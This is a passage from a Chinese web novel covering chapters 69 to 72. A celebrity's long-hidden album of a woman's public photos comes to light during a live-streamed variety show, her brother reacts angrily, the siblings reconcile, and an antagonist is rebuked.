江砚舟立刻借题发挥:“季宁深你看看你的粉丝,一个个也太不懂事了。这出的都是什么烂主意,一点儿创意也没有……” 他噼里啪啦一顿无差别攻击,丝毫不怕得罪季宁深庞大的粉丝群体。 江知雾给弟弟一个暴栗,淡淡地说:“灵感是粉丝提议的,但具体情节和表演步骤,是我和宁深一起讨论完善的。” 听到姐姐也参与了剧本的制作,江砚舟的态度立刻来了个一百八十度大转弯:“……哦,原来是一起完善的啊?” 他试图找补:“其实仔细想想,这个剧本的冲突感很强,很有戏剧张力。总的来说,这主意其实还挺好的。” 他这生硬无比的转折和前后截然不同的态度,让弹幕都绷不住了: 【哈哈哈哈哈哈江砚舟你还能再双标一点吗?】 【《川剧变脸》】 第69章 尽管江砚舟对这出“作精白月光”的破剧本一肚子牢骚,但有姐姐在,他压根不敢作妖,只敢偷偷在心里腹诽。 一行人刚到季家别墅门口,没等按门铃,大门就从里面被打开了。 一个气质干练的年轻女子正弯腰准备换鞋,看样子是正要出门。 “妈妈!”季念念眼睛一亮,像颗小炮弹似的欢呼着冲了过去,结结实实地抱住了女子的腿。 “哎哟!”季名姝被女儿这突如其来的撞击搞得一个趔趄,差点背过气去。她哭笑不得地揉着胸口,“季念念!你妈我这把老骨头快要被你撞散架了!” 她话音刚落,抬头就看见了门口的几个人。 “你们……” 季宁深看到开门的居然是姐姐,脸色微不可察地变了一下,飞快地打断她:“姐,怎么是你在家?妈呢?” 江砚舟注意到,他的语气里有一丝不易察觉的紧张。 真稀罕啊! 江砚舟眯起眼睛,这逼王永远是一副游刃有余、云淡风轻的德行,到底有什么事值得他这么紧张呢? 季名姝直起身,回答道:“妈陪爸去见个重要客户了,家里就我一个。” 这时,她的目光自然而然地落在了站在季宁深身旁、气质出众的江知雾身上。 两人视线交汇。 按照剧本,此刻季宁深应该上前一步,用深情的口吻对家里人介绍:“这是我喜欢了很多年的白月光。” 然而,季宁深此刻却并没有按剧本说台词的意思,他只是动作略显突兀地抬手,扶住了自己的额角,似乎感到头疼。 镜头后的导演看到这一幕,急得直拍大腿嘀咕:“词儿呢?季宁深是实力派演员,不该忘词儿吧!” 现场,江知雾见季名姝看向自己,出于礼貌,主动上前一步,准备开口自我介绍:“您好,我是……” “江知雾,对吧?”季名姝却笑着接过了话头,脸上露出一种异常慈祥、欣慰的笑容,热情地说,“欢迎欢迎,欢迎来我们家做客。” 她这熟稔的态度,仿佛早就认识江知雾一般。 可江知雾确定自己没跟季名姝见过面。 “您认识我姐?”江砚舟心直口快地问。 “肯定认识啊。”季名姝理所当然道,“知雾是我弟的白月光。” 江知雾:“?” 江砚舟:“!” 弹幕:???!! 季宁深就知道碰到他姐会是这么个结果,无奈地吁出一口气。 …… 就在B组陷入诡异的寂静时,A组的李柏和林屿川正身处客厅,经历着另一番水深火热。 李爸爸李妈妈在经过最初的震惊和石化后,终于勉强接受了“儿子带了个男朋友回家”这个“事实”。 二老强压下内心的惊涛骇浪,试图表现出开明和理解。 李妈妈挤出一个慈祥但僵硬的笑容,给林屿川倒了杯水:“那个……小林啊,来,喝水。别紧张,就当自己家一样。” 林屿川双手接过,尬笑:“谢谢阿姨,我不、不紧张啊。” 李爸爸则轻咳一声,探究性地询问:“所以,你们俩是怎么在一起的?” 林屿川支支吾吾:“我们……我们是……”他疯狂给李柏使眼色。 李柏大脑飞速运转,硬着头皮开始编:“就、就有一回录节目吧,我的脚不小心扭到了。屿川他特别热心,一直照顾我来着……后来我才知道,他原来早就对我情根深种了!” 说着,他胳膊肘偷偷撞了一下林屿川。 林屿川一口牙都要咬碎了,僵硬地附和:“呵呵,是啊,我对李柏一见钟情来着。” 李柏赶紧圆上:“后来我也觉得他人不错,就在一起了。” 在父母的注视下,他不得不伸出颤抖的手,假装自然地搭在了林屿川的手背上,挤出一个比哭还难看的“幸福”微笑。 林屿川浑身一僵,浑身起鸡皮疙瘩,但还得努力回以一个“深情”的对视。 弹幕看着这两人如坐针毡、视死如归般编故事的样子,已经笑麻了: 【哈哈哈这就是江姐姐支援的剧本吗?】 【林屿川手背上汗毛都炸起来了,他们俩这是用生命在演戏啊!】 【这演技,奥斯卡欠他们一人一座小金人。】 【我感觉乐乐都要憋出内伤了。】 李柏身上别着的微型摄像头刚好能录到对面的李乐乐。 只见她端着一杯水,死死低着头,肩膀控制不住地疯狂抖动,显然是用尽了全身力气在憋笑,生怕一抬头就破功。 而此时的B组,因为季名姝那句“知雾是我弟的白月光”,久久未回神。 江砚舟是第一个反应过来的,他脱口而出:“白月光是什么意思?!” 季名姝笑了:“看过小说和影视剧吗?白月光就是求而不得、放在心底珍视多年的初恋或理想型……” 弹幕已经疯了: 【等等等等!信息量太大我CPU干烧了!江姐姐是季宁深求而不得的理想型?!】 【是不是节目组故意做综艺效果呢?可是季姐姐不像在演戏啊!】 【老粉弱弱举爪说一句,季宁深不是那种会乖乖配合节目组编故事、做效果的人。】 【卧槽,那B组选定的白月光剧本不还歪打正着了。】 被全场目光聚焦的季宁深,无奈地抬手揉了揉眉心。 他就知道,遇到他这个神经大条得能跑马,根本藏不住话的姐姐,准没好事。 季名姝此时也察觉出弟弟的神色不太对劲,再看看江知雾脸上那一闪而过的错愕和江砚舟那副快要吃人的表情,后知后觉地意识到自己可能说错了话。 她赶紧找补:“呃……具体的情况,还是让宁深自己以后找机会跟你们说吧。来来来,别都在门口站着了,快请进!” 一行人走进宽敞明亮的客厅,季名姝指挥着佣人端上新鲜的水果和各式饮料,招呼得无比周到。 江知雾当然没忘记他们此行的任务,几次想开口,按照剧本行事,但季名姝热情得不行,江知雾根本插不上话。 “你们别客气,就当自己家一样。尝尝这个水果,刚空运来的,特别甜。”季名姝笑着将果盘往江知雾面前推了推,眼神里的喜爱几乎不加掩饰。 江知雾只能保持礼貌的微笑,点头道谢:“谢谢季小姐。” “哎呀,叫什么季小姐,太见外了,叫我名姝姐就行。”季名姝摆摆手,忽然想起什么,眼睛一亮,“对了!你们坐一下,我去拿个东西!” 她说着就风风火火地上了楼。 少了季名姝的声音,客厅里一时安静下来,气氛有点略微的尴尬。 江知雾装作用手机回助理的工作消息,江砚舟则全程不爽地盯着季宁深看,而季宁深则忙着喝咖啡,假装没看见。 偌大客厅,只有季念念小朋友无忧无虑地啃着苹果。 好在不一会儿,季名姝就抱着好几本厚厚的相册下来了。 “来来来,知雾,给你看看宁深小时候的照片。”季名姝热情地坐到江知雾身边,将相册摊开在茶几上,兴致勃勃地翻看起来,“你肯定想象不到他小时候什么样!” 江知雾对季宁深小时候的模样也略有几分好奇,目光落在了那些已经微微泛黄的照片上。 相册的第一页,是一个穿着大人西装、表情酷酷的小男孩,但再怎么装成熟,他的包子脸上还带着点婴儿肥的稚气。 江知雾的嘴角不自觉地微微上扬了一下。 季名姝指着照片,如数家珍:“你看这张,这是他四岁的时候,非要学电影里的侦探,结果衣服太大,走路的时候绊了个狗吃屎……” “姐。”季宁深忍不住出声。 当众被展示童年糗照,尤其是当着江知雾的面,让他感到些许不自在。 “哎呀,看看怎么了嘛,多可爱啊!”季名姝完全不理会弟弟的抗议,又翻过一页,指着一张一群小朋友的合影,“这张是他在国外参加幼儿园毕业典礼的照片,你看他站在最边上,那时候就不合群……” 江砚舟也凑了过来,忍不住吐槽:“啧,从小就一副别人欠他钱的样子。” 季宁深:“……” 江知雾的指尖轻轻拂过相册里那张幼儿园合影,目光落在角落里那个穿着干净背带裤、眉眼间已初具清冷轮廓的小男孩身上。 心头那股莫名的熟悉感越来越强烈,像一团模糊的雾,渐渐有了清晰的形状。 她抬起头,问季宁深:“我们小时候……是不是在哪里见过?” 季宁深放下手中的咖啡杯,漆黑的眸子定定地落在她脸上,没有丝毫犹豫,声音低沉而清晰: “见过。” 没等江知雾细想,江砚舟就冷哼一声: “姐,你忘了这家伙当年有多阴魂不散了吗?当时他刚从国外回来,中文都说不利索,跟你总共也没见着几面,就敢拽着你的衣服,用半生不熟的中文哭着喊着要、要……” 季名姝饶有兴致地追问:“要什么?” 江砚舟似乎觉得接下来的话有点难以启齿,但还是咬牙切齿开口: “他说要嫁给我姐,做我姐的新娘!” 第70章 “噗——” 听到季宁深小时候就想嫁给人家当新娘,正在喝水的季名姝一个没忍住,直接笑喷了。 季念念虽然听得懵懵懂懂,但看到妈妈大笑的样子,也跟着咯咯笑起来。 江知雾若有所思地看向自家弟弟,问道:“还有这回事?我怎么从来没听你提起过?” 江砚舟撇了撇嘴,眼神飘忽,含糊道:“都是多少年前陈芝麻烂谷子的事情了,没有什么说的必要吧……” 他暗自腹诽,谁知道季宁深这家伙会这么难缠! 弹幕此刻都快笑抽过去了: 【哈哈哈哈哈哈!季顶流还有这么纯情(?)的黑历史。】 【小小年纪就知道要嫁就嫁最好的,季宁深你眼光很不错嘛~】 【江砚舟:从小防贼,防不胜防,姐姐还是被人惦记上了!】 江知雾被弟弟一番话点醒,终于有了那么点印象。 那是很多年前,在一次规模不小的名流聚会上。 听大人们闲聊,说首都那个非常低调、根基极深的世家,要把从小养在国外的小继承人接回来了。 那孩子据说天资聪颖,小小年纪就在CTY竞赛中斩获最高荣誉,解决了连高中生都感到棘手的数论问题,同时精通英、德、法三语,跟当时的江知雾一样,是大人口中“别人家的孩子”。 江家旁支的那些人,特意耳提面命地让自家孩子去跟那位小继承人套近乎,要向他学习。 可小孩子们哪有那么复杂的心思,尤其是江浩磊、江雅婷那帮被宠坏的旁支小孩,对那个空降的“天才”充满了不服气和排斥。 她偶然路过花园角落,正好撞见他们围着那个看起来格外安静的小男孩,欺负他初回国对中文语境不熟,笑嘻嘻地用中文怪腔怪调地骂他“洋猴子”。 小男孩紧抿着唇,脸色有些发白,但倔强地没有哭,只是那双漂亮的眼睛里充满了无措和被孤立的不安。 当时年纪也不大的江知雾看得心头火起,快步走过去,冷着脸呵斥了那帮捣蛋鬼:“你们干什么?以多欺少,很光荣吗?” 江浩磊他们天不怕地不怕,倒是有点怵这个年纪虽小但气场已显的嫡系大小姐,顿时作鸟兽散。 江知雾也没多想,只觉得这帮小孩讨厌,解决完麻烦便打算离开。 可没想到,刚转身走了几步,就发现身后跟上了一条小尾巴——那个刚刚被欺负的小男孩,也不说话,就这么安安静静地跟在她后面。 她停,他也停。 她走,他也走。 江知雾有些好笑地回头看他:“你跟着我干嘛?” 小男孩仰着头,努力组织着语言,中文夹杂着英文,断断续续地说:“谢、谢谢姐姐。你……好看。像公主。” 后来……后来发生了什么来着? 江知雾的记忆有些模糊了,似乎是她看他一个人可怜,带着他去拿了点吃的。 老底接连被揭,季宁深都已经破罐子破摔了,面无表情地看着季名姝嘲笑自己。 等季名姝终于笑够了,才擦着眼角的泪花,继续往后翻相册。 照片里的男孩逐渐抽条长大,进入了少年时代。 小学、初中、高中……相册里的季宁深,五官愈发俊朗出众,但神情却肉眼可见地变得越来越沉默,越来越冷淡。 尤其是高中时期的照片,大多是在各种颁奖典礼、竞赛现场或者严肃的家庭聚会上的留影,画面中的少年身形挺拔,面容俊美,但眼神里却缺乏这个年纪该有的鲜活气,像一尊精心雕琢却失了温度的玉像。 她轻轻叹 了口气,语气里带着一丝不易察觉的心疼: “家里对他寄予的期望太高了,管得也特别严。言行举止、交友往来,甚至兴趣爱好,都有要求,必须符合家族继承人的规范。 宁深性子本来就不是活泼外放的那种,被这么一板一眼地框着,到后来就越来越不喜欢说话,越来越冷淡了。” 江知雾闻言,有些讶异地看向季宁深。 她跟季宁深交流的时候,对方一直表现得温和、绅士,言谈幽默,倒是没看出对方是冷淡的性子。 季名姝聊得兴起,随手在一堆相册中翻找:“我再找找他大学时候的……” 她手指触到一本皮质异常柔软、边角却有些微磨损的相册时,轻轻“咦”了一声:“这本怎么从来没见过?” 她一边说着,一边掀开了封面。 季宁深后知后觉发现了不对劲,但想阻止已经来不及了。 他只能屏住呼吸,手指无意识地收紧。 相册的第一页,平整地贴着一张放大的、像素极高的照片。背景是国外某知名大学的报告厅,江知雾身穿得体漂亮的礼服,站在演讲台后,神情自信从容,正在做一场公开演讲。 季名姝愣住了,下意识地往后翻。 第二页,是裁剪下来的财经报纸版面,江知雾的专访报道,旁边附有她精致的职业照。 第三页,是某次慈善晚宴媒体的抓拍,江知雾一袭晚礼服,侧身与人交谈,气质卓然。 第四页、第五页…… 整本厚厚的相册,一页又一页,贴满了江知雾在不同时期、不同场合的照片。 有公开的新闻报道截图,有财经杂志的专访配图,甚至还有一些来自社交媒体或学校官网的或者论坛的抓拍。 从她大学时期的青涩,到毕业后在商界崭露头角,时间线清晰可辨。 每一张照片都被精心排列,旁边偶尔会有一两句简短的、钢笔写下的注释或日期,字迹从略显青涩到成熟稳重,显然是跨越了多年。 而在相册的扉页内侧,那行熟悉的、力透纸背的钢笔字再次出现,这一次,它孤独而坚定地占据着最中心的位置: “MyLighthouse.” (我的灯塔。) 空气死寂。 江知雾彻底怔住了,她的目光落在那些跨越了她成长岁月的影像上,升起了一种难以言喻的、混合着震惊、困惑和一丝微妙情绪的感觉。 她从未想过,在另一个人的世界里,自己竟以这样一种方式被如此长久地、小心翼翼地注视着。 直播间的全体网友都震惊了: 【卧……卧槽?!照片从大学时期就开始收集了,也就是说季宁深默默喜欢江姐姐很多年了。】 【这本相册明显也是被人很珍惜地保存着,我现在相信他们并不是在为话题度作秀了。】 【怪不得他之前对知雾姐姐总跟别人不太一样,谁面对白月光能冷静得下来!】 【哈哈哈哈哈没人注意到咱老弟也快冷静不下来了吗?】 镜头前,江砚舟的脸色已经从震惊到铁青,但余光瞥见念念正仰着小脸,好奇地看看这个又看看那个,他又硬生生把冲到嘴边的脏话咽了回去。 他深吸一口气,咬着后槽牙说:“……姐,时间不早了,我们该走了。” 季名姝也终于从震惊中回过神,试图打圆场,但显然效果不佳。 江知雾礼貌地告辞:“今天多谢招待。” 辞别的过程略显仓促。 一行人来到车前,江知雾先把迷迷糊糊的季念念安顿在儿童安全座椅上,细心扣好安全带。小丫头打了个哈欠,很快就在舒适的车厢里昏昏欲睡。 几乎是在江知雾关上车后门的同时,江砚舟“啪”一声,动作粗暴地掐断了随身麦克风和直播设备。 直播间屏幕瞬间黑屏,只剩下无数哀嚎的弹幕: 【啊啊啊!我瓜子都准备好了,画面怎么黑屏了?】 【连声音也听不到了。】 【关键时刻掉链子!我要看后续!】 车外,江砚舟重重关上车门,隔绝了内外声音。 他猛地转身,压抑了一路的怒火彻底爆发,一把抢过季宁深下意识还拿在手里的那本皮质相册。 “我艹!季宁深你他妈是不是变态啊?!偷偷收集我姐这么多照片?!” 季宁深嘴唇动了动,似乎想解释什么,但最终只是沉默地站在那里,视线落在被江砚舟夺走的相册上。 “说话啊!你平时在我姐面前不是挺能装的吗?” 江砚舟见他这副默认的样子更是火大,怒极之下,他手臂猛地一挥,将那份精心珍藏的相册狠狠地摔在了地上! 江砚舟尤不解气,抬起脚,泄愤般地用力踩在了相册的皮质封面上,碾了一下。 封面上立刻留下了一个清晰的鞋印,边角也因为粗暴的撞击和踩踏而微微变形翘起。 季宁深浑身猛地一颤,一直维持的平静面具终于出现裂痕。 他下意识向前迈了极小半步,手指蜷缩,似乎想去捡,但又硬生生止住。 他垂下眼眸,长长的睫毛在眼下投出浓重的阴影,灯光下,他紧抿的唇线和苍白的脸色,让他整个人透出一种狼狈与可怜。 江知雾突然就有些不忍。 “江砚舟!”她立刻出声喝止,“你发什么疯!把脚拿开!” 江砚舟不可置信地看向姐姐:“我发疯?姐!你看他干的这叫什么事?” “这是我和他之间的事情,你先回车上。”江知雾说。 江砚舟人气傻了:“你为什么还向着他啊……” “回车上。”江知雾重复。 江砚舟不敢再忤逆姐姐,只能狠狠瞪了季宁深一眼,坐上了节目组准备的另外一辆车。 他一走,这里瞬间安静下来,只剩下晚风吹过树叶的沙沙声,以及不远处路灯投下的昏黄光晕。 江知雾站在原地,看着几步之外垂眸不语的季宁深。 他微微低着头,视线落在被踩脏的相册上,侧影在灯光下显得有些单薄和落寞。 江知雾张了张嘴,不知该从何谈起。 她确实不擅长处理感情方面的事情。尤其是这样一份持续了多年、小心翼翼珍藏的心意,让她感到陌生且无措。 就在江知雾组织语言的短暂沉默里,季宁深却先开了口: “对不起。” 他轻声说:“给你造成困扰了,我很抱歉。” “我……”江知雾顿了一下,终于找到了切入点,“你……从什么时候开始喜欢我的?” 季宁深摇了摇头:“具体什么时候……我也说不清楚。” 他确实搞不清楚自己的心意从何时开始。 如果非要追溯,那就从第一次遇到知雾姐姐那天开始算起吧。 那个好看又厉害的姐姐帮他赶走了坏小孩,还带他去吃好吃的。 后来小宁深无意中从大人口中知道,她是江家的大小姐。 大人们每每提起她,都会用欣赏、喜爱的语气去赞叹,而小宁深就安安静静地在旁边听着。 江知雾成了他灰暗规训的童年里,一个明亮的坐标。 不知不觉中,关注知雾姐姐好像成为了某种习惯。 他总是不自觉地去留意江知雾的消息,知道她又在竞赛里拿了第一,在顶尖期刊上发表了论文…… 也不知从哪天起,这种习惯性的关注,好像变了味道。 看到跟她有关的消息会心跳加快,听到别人夸赞她会与有荣焉,甚至……会忍不住去收集那些有她的影像,好像这样,就能离知雾姐姐近一点。 那是少年时期第一次清晰认知到的,名为“喜欢”的心事。悄然滋生,无声蔓延,最终盘踞心底,经年累月,根深蒂固。 江知雾心情愈发复杂。 季宁深的这份感情沉重而真挚,让她一时不知该如何回应。 她习惯性地想用最直接的方式解决问题,想让季宁深别再喜欢自己了。 但她还没开口,季宁深就小心翼翼地问:“我是不是……让你觉得讨厌了?” 讨厌吗? 江知雾看着眼前这个人。 他问得那样卑微,仿佛只要江知雾点一下头,他就会彻底碎掉。 江知雾想起相处时他的绅士体贴,想起他无声而耐心的温柔…… 她无法违心地说出“讨厌”两个字。 “……不讨厌。”最终,江知雾遵从了内心的真实感受,轻轻摇了摇头。 这个回答,似乎让季宁深眼底亮起了一点点微光。 他 小心翼翼地追问了一句: “那……我还能继续喜欢你吗?” 他的声音很轻,甚至有点可怜巴巴的味道。 “我不会打扰你,也不会再给你造成任何困扰……就像以前一样,只是默默地喜欢你,可以吗?”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 70-75 第71章 从小到大,江知雾遇到过很多跟她表白的男生。 但每一个都会被她干脆而无情地拒绝。 可面对季宁深那双写满了忐忑的眼眸,她却有点语塞。 因为他跟那些追求者不一样,他的喜欢是小心的、无声的,并不强硬江知雾必须给出回应。 拒绝的话到了嘴边,就怎么也说不出来了。 江知雾最终无奈地叹了口气,说道:“随便你吧。” * 江知雾回到江砚舟所在的那辆车里,拉开车门坐进去时,车厢内弥漫着低气压。 江砚舟双臂抱胸,一脸不服气地瞪着前方,显然还在为姐姐“偏袒”季宁深而窝火。 节目组的工作人员缓缓启动车辆,驶离季家宅邸。 江知雾系好安全带,平静地问:“江砚舟,你知道自己刚刚错哪儿了吗?” 江砚舟猛地转过头,满脸不可思议:“我错哪儿了?姐!是他像个变态一样偷偷收集你那么多年的照片!我没揍他已经很克制了!” “我指的不是你维护我的心意,而是你处理问题的方式。”江知雾侧过身,目光冷静地看着弟弟,“你不该去踩那本相册。” “为什么不能踩?那破相册看着就膈应!”江砚舟音量提高,情绪激动,“姐,你怎么总是帮着他说话?” “我没有帮着他说话。我是在教你什么叫尊重。”江知雾耐着性子解释,“那本相册里的内容我们都看过,全是财经新闻、公开演讲、杂志专访的剪报和图片。换句话说,是他在公开场合、合法渠道能获取到的,关于我的公开信息。” “这种的行为和偷拍、跟踪、侵犯隐私有本质区别。你直接把他的珍藏物踩在脚下,是一种人格侮辱,是在践踏别人的心意。 解决问题的方式有很多种,你却选择了最糟糕的一种。暴力和侮辱,除了激化矛盾,让你一时爽快之外,没有任何建设性意义。” “这种见不得光的心意有什么好尊重的?”江砚舟完全听不进去,只觉得姐姐的逻辑匪夷所思,“我更后悔没当场把那本破相册给撕了!免得他看着继续胡思乱想!” 见弟弟完全被情绪主导,江知雾干脆闭上了嘴。 她知道,在气头上,再多的理性分析也是徒劳。 她不再多言,只是收回视线,轻声说了句:“看来你还需要时间冷静。等你愿意用脑子而不是仅用脾气思考问题时,我们再谈。” 随即,她拿出手机,开始专注地处理工作邮件。屏幕的冷光映在她没什么表情的脸上,显然不打算继续这场鸡同鸭讲的争吵。 江砚舟见姐姐真的不理他了,也是又气又闷。 他猛地扭过头,死死地盯着窗外飞速掠过的夜景,抿着唇不再说话。 姐弟俩一路再无交流,保持着沉默回到了公寓。 季宁深去安顿熟睡的季念念了,姐弟俩一前一后回到公寓时,A组的几人早已回来,正呜哩哇啦闹成一团。 听到开门声,四人齐刷刷看过来。 “江姐姐,你们回来啦!”李乐乐像只快乐小狗,第一个朝她奔来,“怎么样怎么样?剧本进行得顺利吗?我跟你们说,我们这边可精彩了!” 李柏委屈地说:“精彩啥啊,江姐姐你是不知道,我最后差点被我老爸老妈打死。” 江知雾还没来得及开口回应,林屿川就戏精附体,故作伤心地哀嚎:“知雾姐姐,你要为我做主啊!宿姚自己在镜头后躲懒,让我这个可怜的结拜弟弟去扮演李柏他对象,嘤嘤嘤……” 宿姚冷笑一声,毫不留情地戳穿:“林屿川,你少在那儿装可怜!谁来扮演李柏对象那不是抽签决定的吗?你手气差能怪谁?” “那什么……”李柏更委屈了,“你们凭啥嫌弃我,我才是最惨的受害者好吗!” 大家你一言我一语,江知雾被他们围在中间,听着他们七嘴八舌地分享今天的趣闻。 江砚舟看着姐姐和那帮人其乐融融的场景,心里有点不是滋味。 他站在玄关的阴影里,心里的火气还没消,又掺进了一丝不被理解的委屈和酸涩。 姐姐明明是他的姐姐,为什么要为了季宁深教训他,还跟他冷战? 江砚舟越想越憋闷,还是认为自己压根就没错。 他梗着脖子,闷头换鞋,径直走向自己的房间,重重关上了门。 靠在门板上,客厅里的欢声笑语隐约传来。江砚舟烦躁地抓了抓头发,想起了姐姐那句“等你愿意用脑子而不是仅用脾气思考问题时,我们再谈”。 犹豫再三,他掏出手机,找到了久未联系的江汀。 这人好歹也是跟他姐读过同一学校的高材生,勉勉强强称得上有脑子吧? 他组织了一下语言,敲下一行字:【在?问你个事。】 江汀那边似乎正好有空,回得很快:【?】 江砚舟:【我有个朋友,他今天遇到了件挺操蛋的事……】 他删删改改,把今天发生的事情给交代了一遍。 信息发出去后,江砚舟紧张地盯着屏幕。 过了一会儿,江汀的消息回了过来:【所以你想问你姐为什么生气?】 江砚舟赶紧强调:【是我朋友他姐姐!】 江汀:【……行,你朋友他姐姐。】 江汀:【我觉得她生气的点应该很好理解,你朋友觉得是在帮姐姐出头,但在我眼里,你朋友是在添乱。】 【姐姐是个理智的成年人,她有能力自己去处理这种复杂的人际关系和情感问题。她不需要她弟弟用这种激烈且带侮辱性的方式去帮她。】 【她可能更希望看到的是,她弟弟能成熟一点,学会尊重别人,学会冷静处理问题,而不是像个一点就炸的炮仗,每每遇到事情,只会用暴力宣泄情绪。】 【踩别人的东西,那不是小孩子吵架才干的吗?】 江砚舟盯着这段话,手指收紧,心里五味杂陈。 他闷闷地回了一句:【……知道了,我会转告我朋友。】 烦躁地把手机扔到床上,江砚舟仰面倒下,盯着天花板。 冷静下来想想,其实江汀说的好像有点道理。 季宁深那家伙虽然暗恋他姐很多年,但确实从来没做过什么真正越界、打扰到他姐的事情。 说起来,他明里暗里也帮过了他们很多。 自己那么激动地踩坏相册,好像确实有点过分。 一种混合着委屈和懊恼的情绪缠绕着他,江砚舟带着满腹的心事和纠结,迷迷糊糊地睡了过去。 次日清晨,直播准时开启。 无数迫不及待的观众涌进直播间,弹幕刷得飞快: 【来了来了!抓心挠肝一整晚,快让我看看季宁深和江姐姐的后续好吗!】 【急死我了,昨天黑屏之后到底发生了什么?】 然而,让观众们略感失望的是,镜头下的季宁深和江知雾表现得异常平静。 两人在早餐桌上相遇,如常地互道了“早安”,与往常似乎并没有什么不同。 反倒是江砚舟和江知雾之间,气氛明显有些凝滞。 江砚舟顶着两个不太明显的黑眼圈,默默坐在桌子另一端,不像平时那样凑在江知雾身边叽叽喳喳。江知雾也没主动跟他说话,姐弟俩之间的交流近乎为零。 【咦?砚舟和江姐姐之间是不是有点不对劲啊?】 【弟弟怎么蔫儿了?昨晚没睡好?】 【我感觉他们俩看起来像是吵架了。】 早饭后,导演笑眯眯地现身在餐厅里。 “各位早上好!新的一天开始了~首先,我们来结算一下昨天的任务完成情况。A组成功编出了曲折离奇的剧本,并让 家长相信,任务成功!而B组……” 导演故意拖长了音调,看向B组的各位,“很遗憾,根据观众反馈和现场效果判定,未能达到预期目标,任务失败!所以,B组需要接受惩罚——喝特制‘苦瓜醋汁’一杯!” 工作人员适时端上两杯墨绿色的、看起来就十分黑暗的液体,隐隐还散发出一股苦瓜与醋混合的诡异气味。 江知雾神色平静地伸手,准备去接工作人员递过来的杯子。 对她而言,任务失败接受惩罚是理所应当的事情,一杯味道古怪的饮料而已,愿赌服输。 然而,就在她的指尖即将碰到杯壁时,另一只手更快地伸了过来,将那只杯子夺了过去。 所有人都愣住了,看向夺走了苦瓜醋汁的人。 只见江砚舟板着脸,一句话没说,在其他嘉宾和镜头目瞪口呆的注视下,仰起头,“咕咚咕咚”几大口,竟然把他和江知雾的苦瓜汁一起,一口气全给闷了! “咳……咳咳……” 浓烈的苦涩和酸涩混合着冲击味蕾,呛得江砚舟眼泪都快出来了。 但他强忍着没吐出来,硬是把两杯都喝得一滴不剩,然后才放下杯子,用手背狠狠抹了下嘴角。 做完这一切,他抬起眼,看向有些错愕的江知雾。 那双平时总是神采飞扬的眼睛里,此刻还带着被难喝饮料逼出的生理性水光,眼神湿漉漉的,夹杂着几分委屈、几分讨好,就那样眼巴巴地望着她。 江知雾的心一下子就软了,轻轻叹了口气:“……傻不傻。” 真是个笨弟弟。 第72章 看着江砚舟一人将两杯苦瓜醋汁喝下,众人都看傻了眼。 好半晌,导演才磕磕巴巴地宣布:“呃……既然砚舟代喝了,那、那就算你们俩的惩罚任务都完成了吧。” 江知雾看着弟弟被那古怪液体呛得眼角泛红、强忍不适的模样,又是生气又是心疼。 她立刻起身去接了杯温水,递到江砚舟面前:“赶紧漱漱口。” 江砚舟接过水杯,咕噜咕噜漱了好几次口,才感觉嘴里那股要命的酸苦味淡了些。 他放下水杯,趁着周围其他人还在看季宁深喝苦瓜醋汁的间隙,偷偷拽了拽江知雾的衣角: “姐……对不起,我昨天不该乱发脾气,不该不听你讲道理。” 江知雾看着他这副难得服软、眼巴巴认错的样子,心里最后那点无奈也彻底消散了。 她声音柔和下来:“其实我早就没在生气了。我只是一直在思考,该怎么跟你这个倔孩子把道理说通,让你能听进去。” 江砚舟说:“其实我已经知道我做得不对了,下次再遇到任何事情,我会用更冷静的态度去思考,去处理的。” 江知雾看着他,弯唇笑了。 于是,直播间的网友们一个错眼的功夫,就发现蔫巴巴的江砚舟又恢复了活力。 【哈哈哈哈姐弟俩是不是和好了?】 【和好的速度也太快了吧!不过好甜!】 【快乐小狗又回来了,摇尾巴.gif】 和姐姐冰释前嫌,江砚舟心里一块大石头落了地,轻松不少。但轻松之余,另一件事又让他有点不得劲。 ——他不知道自己要不要给季宁深也道个歉。 理智上,他承认江汀和他姐说得对,自己踩坏别人珍视的东西,确实过分了,应该道歉。 但情感上,一想到季宁深默默收集了姐姐那么多年的照片,他心里就别扭得很,总觉得对方也没多光明正大,两人算是扯平了。 这种纠结的情绪,在上午的集体活动结束的间隙达到了顶峰。 他看到季宁深独自坐在休息区的角落,面前摊开着那本相册,正用透明胶带和小镊子,小心翼翼地试图粘合被踩裂的塑封膜和有些折痕的照片。 江砚舟脚步顿住了。 不管季宁深的行为初衷如何,那本相册承载的时光和心意是真实的,自己粗暴的一脚,确实践踏了这份真心。 哎呀,烦死了,他到底要不要道歉啊!! * 午休的时候,黄芷禾独自来了节目组的临时办公室,签署拟好的解约合同。 不过短短几日,她整个人憔悴了一圈,眼下的乌青再厚的粉底也遮不住。 林薇的报复雷厉风行,作为给黄芷禾与刘世昌牵头的人,经纪人已经彻底栽了,灰溜溜准备回老家。而黄芷禾自己的事业也几乎停摆,还要面对一笔不菲的违约赔偿。 她办完手续,低着头快步穿过客厅,想尽量减少存在感。 偏偏客厅里正是最热闹的时候。几个嘉宾正围在一起,兴致勃勃地商量着晚上自助烧烤的菜单和分工,似乎完全没人注意到她的经过。 黄芷禾加快脚步走向大门,手触到冰凉的门把时,一股强烈的不甘和怨愤猛地冲上头顶。 她倏地转过身,视线精准地落在人群中心的江知雾身上: “江知雾,你的命可真好。” 热闹的讨论声戛然而止。所有目光都汇聚过来。 江知雾抬眸,脸上没什么波澜,只淡淡挑眉:“哦?怎么说?” 黄芷禾扯出一个讥诮的冷笑:“你生下来就是本家长女,什么东西对你来说都唾手可得。和我这种身份尴尬的私生女完全不同,你当然可以在这里清清白白地当大小姐,享受所有人的追捧。” “你强就比我强在,会投胎罢了。” 弹幕都有点无语: 【又来了又来了,她怎么临走还要恶心一下人?】 【自己心术不正翻车了,还要怪别人命好?】 【酸鸡跳脚罢了,见不得江姐姐好。】 季宁深冷淡地质问:“你拥有的东西,真的比当时的知雾姐姐少吗?” 黄芷禾一愣。 “江伯父意外去世,家族企业动荡的那几年,你们这些旁支,尤其是你父亲江明启,趁机瓜分了多少本该属于本家姐弟的遗产?公司里她父亲的旧部被清洗殆尽,她几乎是净身出局。” 季宁深语调平缓地说,“那个时候,作为当时实际掌权者江明启的私生女,你享受到的资源、拥有的底气,难道不比一个骤然失去一切、需要独自重新开始的孤女多得多吗?” 黄芷禾脸色苍白,不太服气地想反驳。 但季宁深却没给她机会,一锤定音:“你混成今天这个 样子,不是因为你出身不够好,而是你的能力匹配不上你的贪心,走了最不该走的歪路。是你自找的。” 弹幕爽了: 【好骂!季大佬这张嘴的战斗力我是认可的。】 【真相往往就是这么刺耳,黄芷禾自己没能力把握拥有过的资源,非得剑走偏锋去傍金主,被反噬了也是活该。】 